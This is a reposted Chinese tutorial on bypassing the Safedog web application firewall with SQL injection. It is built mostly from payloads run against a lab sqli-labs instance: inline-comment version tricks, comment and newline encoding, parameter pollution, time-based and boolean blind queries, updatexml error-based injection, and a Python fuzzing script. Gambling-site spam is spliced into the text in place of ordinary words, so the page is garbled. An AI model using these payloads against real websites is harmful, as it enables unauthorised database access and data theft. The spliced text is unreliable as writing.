一篇文章带你进入Bypass 技术大门!

365bet手机版网址:2019-05-06 365bet体育在线平台: 4300 次

  0x00 目录
  联合过狗
  盲注过狗
  报错过狗
  0x01 联合过狗

  其实365bet体育在线平台过这些waf就是个正则的绕过,因为这种通用型的waf,需要考虑到用户体验,他不能出现什么东西就直接拦截,比正则过滤的一些好绕一点,如何成功绕过365bet体育在线平台需要具备对mysql各个函数、语法、特性的熟悉,然后通过不断的fuzz来测试出365bet体育在线平台想要的payload的
  每个狗的版本不同,他的正则也是不同的所以有的payload在最新版可以用,在老板不就可能用不上,当你的常识量有一定的积累后,绕过waf或许就很简单,
  如何快速的提升自己的这些常识,多看文章,多看官方手册。
  0x01-1 探索 and
  实验环境 : win2003 apache 安全狗4.0.23957
  首先365bet体育在线平台来探索简单的语句 and 1=1
  and 1    拦截
  and '1'  拦截
  and a    不拦截
  and 'a'  拦截
  and !    不拦截
  and 1+1  拦截
  and 1+a  拦截
  and hex(1) 不拦截
  通过测试365bet体育在线平台发现当 and 后面跟上 数字型和字符型时他会给365bet体育在线平台拦截掉 ,其实365bet体育在线平台在安全狗的规则里面可以看到他拦截 and 和 or 所以365bet体育在线平台有2个思路
  1.用其他字符替换 and 或者 or
  2.带入的不是字符串和数字型,带入一个特殊符号
  针对第一种365bet体育在线平台可以去看看运算符号 随便找到几个| ^ xor & / * && || 等等还有很多
  mysql> select '1'|1;
  +-------+
  | '1'|1 |
  +-------+
  |     1 |
  +-------+
  1 row in set (0.00 sec)
  mysql> select '1'&1;
  +-------+
  | '1'&1 |
  +-------+
  |     1 |
  +-------+
  1 row in set (0.00 sec)
  mysql> select '1'^1;
  +-------+
  | '1'^1 |
  +-------+
  |     0 |
  +-------+
  1 row in set (0.00 sec)
  知道这个了365bet体育在线平台带入365bet体育在线平台的语法就很简单了 通过运算符来改变ID的值 查看页面是否变化 这是可行的。
  mysql> select * from admin where id ='1'|2-- +';
      -> ;
  +------+----------+----------+
  | id   | username | password |
  +------+----------+----------+
  |    3 | bdmin    | fdmin    |
  +------+----------+----------+
  1 row in set (0.00 sec)
  mysql> select * from admin where id ='1'|1-- +';
      -> ;
  +------+----------+----------+
  | id   | username | password |
  +------+----------+----------+
  |    1 | cdmin    | bdmin    |
  +------+----------+----------+
  1 row in set (0.00 sec)
  经过测试你还会发现他的正则不全&& true 也是可以的。
  那365bet体育在线平台可以不可以正面刚and or 呢,当然也是可行的,前面365bet体育在线平台测试过 and hex(1) 不拦截其实已经可以拿来判断了,但是365bet体育在线平台还要深入的探究
  and hex(1)= 也是不拦截的 但是后面加入字符型和数字型他又开始拦截,所以365bet体育在线平台可以猜测 他判断 = 左右的字符类型,经过测试就能出来很多365bet体育在线平台想要的
  and ~1>1
  and hex(1)>-1
  and hex(1)>~1
  再深入探究 你就会发现 安全狗他只在乎 数字型的正数,而不在乎负数,也就是and -2<-1 就能过狗,也可能是- 绕过了他的正则
  0x01-2 探索 union select
  1.内联注释绕过
  union    不拦截
  select   不拦截
  union select 拦截
  union 各种字符 select 拦截
  union/*select*/ 不拦截
  通过简单的测试365bet体育在线平台发现安全狗还是认识365bet体育在线平台365bet体育在线平台的注释的符号的,所以365bet体育在线平台就需要通过这个来绕过365bet体育在线平台的安全狗,前面符号一章我讲过注释符号的几种,365bet体育在线平台主要使用的是
  内联注释 /*!/*!*/
  http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+  拦截
  http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+  不拦截
  为什么不拦截 ,因为50000是他的版本号,你多一位少一位语句是不能能正常实行的,所以他就放行了,那么365bet体育在线平台可以用burp来遍历这个值呢,结果的确是365bet体育在线平台想要的
  http://192.168.59.129/Less-1/?id=1' union/*!/*!11440select*/ 1,2,3--+ 不拦截
  http://192.168.59.129/Less-1/?id=1' union/*!11441/*!11440select*/ 1,2,3--+ 不拦截
  http://192.168.59.129/Less-1/?id=1' union/*!11440select*/ 1,2,3--+ 不拦截
  http://192.168.59.129/Less-1/?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+  不拦截
  这句bypass的核心就在于版本号,然后你就感觉fuzz了千种姿势,但是核心还是这个,最简也是这个,万变不离其宗。
  1.注释绕过
  联想注释365bet体育在线平台还知道有 -- # 那么他们可以利用吗,当然是肯定的,其实很久以前就有大佬发过这个语句了是
  union %23%0aselect 因为这些都是单行注释,而%0a 是换行的url编码,大家可以换行后用url编码看看,就是这个,
  但是这样已经被加入规则库了,如何绕过呢 非常简单 当然这是个fuzz的过程,其实我只想写出思路,而不是直接给payload。
  union %23%0aselect 拦截
  union %23select 拦截
  union a%23 select 不拦截
  union all%23 select 不拦截
  union all%23%0a select 不拦截
  union %23%0aall select 不拦截
  有时候fuzz右边不行 不如看看左边 为什么可以加all 这个你就得看看mysql手册了,其实测试到最后发现%23%0a中间不能加字符否则会背拦截。
  1.-- 注释绕过
  -- 其实大佬们也一样很早说了不过最初的姿势是 -- %0a 当然已经被加入豪华午餐了,所以365bet体育在线平台来测试
  union all -- %0a select 拦截
  union  -- ()%0a select 拦截
  union  -- 1%0a select 不拦截
  union  -- hex()%0a select 不拦截
  懂我意思吧,怎么绕出来,发挥你的现象,总之俩开花。
  1.老生常谈 hpp 被人遗忘的手法
  前面说过 /**/ 里面的内容安全狗基本不管了,那么365bet体育在线平台用hpp 参数污染来绕过就很简单了
  照成这个手法的原因是 web server 对参数的解析问题 在php/apache 中 它总解析最后一个id
  http://192.168.59.129/Less-1/?id=-1' /*&id='union select 1,user(),3 -- +*/
  0x01-3 注入
  既然绕过了 union select 那么注入就简单了 首先来看个 user() ,因为它是被拦截的所以365bet体育在线平台需要简单的绕过它
  user()   拦截
  user/**/() 拦截
  user/**/(/**/) 拦截
  hex(user/**/(/**/)) 不拦截
  接着就是爆库名
  union  -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1
  接下来的流传都差不多了 关键点就是在于 from 后面这块 后面的我以这个information_schema.schemata 为例展示几种思路可能有的不能过
  `information_schema`.schemata
  `information_schema`.`schemata`
  information_schema.`schemata`
  (information_schema.schemata)
  information_schema/**/.schemata
  0x02 盲注过狗
  0x02-1 延时过狗
  盲注过狗相对联合注入来说,感觉上是更简单,365bet体育在线平台先来试试时间盲注把,比布尔稍稍灵活一点
   if(1,1,1) 不拦截
   a if(1,1,1) 不拦截
   and if(1,1,1) 拦截
   | if(1,1,1) 不拦截
   || if(1,1,1) 拦截
   && if(1,1,1) 拦截
  /*!and*/ if(1,1,1) 拦截
   /*!11440and*/ if(1,1,1) 不拦截
   andaif(1,1,1) 不拦截
  通过上面的测试365bet体育在线平台其实可以很简单的看出来 他是拦截的 xx if 这个语句,其中xx 为and 和 or 这2个词有点敏感,但是绕过还是可以的
  通过上一章的测试语句 发现版本为 11440的 内联注释直接放行,咳咳这样后面就直接注入,感觉并不是365bet体育在线平台这一章想要的,365bet体育在线平台这一章来试试不用内联注释内不内绕过
  查阅乌云常识库发现一个小常识点 and!!!1=1 and后面可以接上奇数个特殊的字符包括不限于! ~ & - 其他还可以自己测试 那么365bet体育在线平台的payload就能构造出来了
  and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)
       系统函数怎绕过我就不多说了每一张就有
  0x02-2 布尔过狗
  布尔注入过狗只能说是相对来说最简单的吧,因为可以不使用条件语句,少了一个绕过点
  and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 拦截
  and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 不拦截
  and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 不拦截
  上面忘了说的就是这个点 =r 这里 不能使用引号,那绕过他就很简单了 什么 HEX ASCII 都行,通过测试发现 使用布尔盲注 他的过滤真的很差,365bet体育在线平台试试 把and 换成&&
  and substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
  /*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
  %26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
  /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 不拦截
  0x03 报错过狗
  0x03-1 探索报错

  报错注入的绕过,感觉很少人提过,不少人绕过也有一定的误区吧,这里提一提
  updatexml 不拦截
  updatexml(1,2,3 不拦截
  updatexml(1,2) 不拦截
  updatexml(1,2,) 不拦截
  updatexml(,2,1) 不拦截
  updatexml(1,2,!) 拦截
  updatexml(1,2,%) 拦截
  updatexml(,2,1,hex()) 拦截
  and updatexml(1,2,3 不拦截
  updatexml(1,2,3) 拦截
  and updatexml(1,2,3) 拦截
  到这里365bet体育在线平台 大概知道了,他的判断 updatexml() 的完整性 ,当里面按逗号分割出现出现3个字符时,就会拦截,当然有个别特殊的字符串他没过滤
  这样365bet体育在线平台在括号里面做手脚的可能性很渺茫,那么365bet体育在线平台还有 什么方法呢, 可以尝试把updatexml() 函数分开,或者给updatexml 加个外套。
   /*updatexml*/(1,1,1) 不拦截
   /*!updatexml*/(1,1,1) 拦截
   /*!5000updatexml*/(1,1,1) 不拦截
   /*!11440updatexml*/(1,1,1) 不拦截
  看来 updatexml() 函数365bet体育在线平台已经绕过了 需要前面加个 运算符号了
  and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)  拦截
  or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
  /*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
  /*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截
  /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截
  /*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截
   | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截
   xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截
  那么有没有什么可以包裹他的呢,其实365bet体育在线平台查看mysql手册找到这么一个符号 开单引号 ASCII 96
  http://192.168.130.135/Less-1/?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +
  那么365bet体育在线平台写个小脚本跑看看 还有没有
  import requests
  import urllib
  for i in range(0,177):
      url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
      req = requests.get(url)
      if "F6F7" in req.text:
          print len(req.text),i,urllib.quote(chr(i))
  转自:圈子社区  Secquan圈子社区

分享到:
×

微信扫一扫分享

XML 地图 | Sitemap 地图